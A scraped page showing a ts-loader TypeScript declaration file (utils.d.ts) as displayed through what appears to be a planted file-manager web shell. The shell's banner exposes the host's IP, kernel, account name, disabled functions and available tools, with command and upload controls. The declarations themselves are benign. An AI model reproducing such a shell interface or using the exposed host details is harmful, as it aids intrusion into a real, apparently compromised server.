Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/ts-loader/dist/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
import { Chalk } from 'chalk'; import * as webpack from 'webpack'; import type * as typescript from 'typescript'; import { FileLocation, FilePathKey, LoaderOptions, ResolvedModule, ReverseDependencyGraph, TSInstance } from './interfaces'; /** * Take TypeScript errors, parse them and format to webpack errors * Optionally adds a file name */ export declare function formatErrors(diagnostics: ReadonlyArray<typescript.Diagnostic> | undefined, loaderOptions: LoaderOptions, colors: Chalk, compiler: typeof typescript, merge: { file?: string; module?: webpack.Module; }, context: string): webpack.WebpackError[]; export declare function fsReadFile(fileName: string, encoding?: typescript.BufferEncoding | undefined): string | undefined; export declare function makeError(loaderOptions: LoaderOptions, message: string, file: string, location?: FileLocation, endLocation?: FileLocation): webpack.WebpackError; export declare function tsLoaderSource(loaderOptions: LoaderOptions): string; export declare function appendSuffixIfMatch(patterns: (RegExp | string)[], filePath: string, suffix: string): string; export declare function appendSuffixesIfMatch(suffixDict: { [suffix: string]: (RegExp | string)[]; }, filePath: string): string; export declare function unorderedRemoveItem<T>(array: T[], item: T): boolean; export declare function populateDependencyGraph(resolvedModules: ResolvedModule[], instance: TSInstance, containingFile: string): void; export declare function populateReverseDependencyGraph(instance: TSInstance): ReverseDependencyGraph; /** * Recursively collect all possible dependants of passed file */ export declare function collectAllDependants(reverseDependencyGraph: ReverseDependencyGraph, fileName: FilePathKey, result?: Map<FilePathKey, true>): Map<FilePathKey, true>; export declare function arrify<T>(val: T | T[]): T[]; export declare function ensureProgram(instance: TSInstance): typescript.Program | undefined; export declare function supportsSolutionBuild(instance: TSInstance): boolean; export declare function isReferencedFile(instance: TSInstance, filePath: string): boolean; export declare function useCaseSensitiveFileNames(compiler: typeof typescript, loaderOptions: LoaderOptions): boolean; //# sourceMappingURL=utils.d.ts.map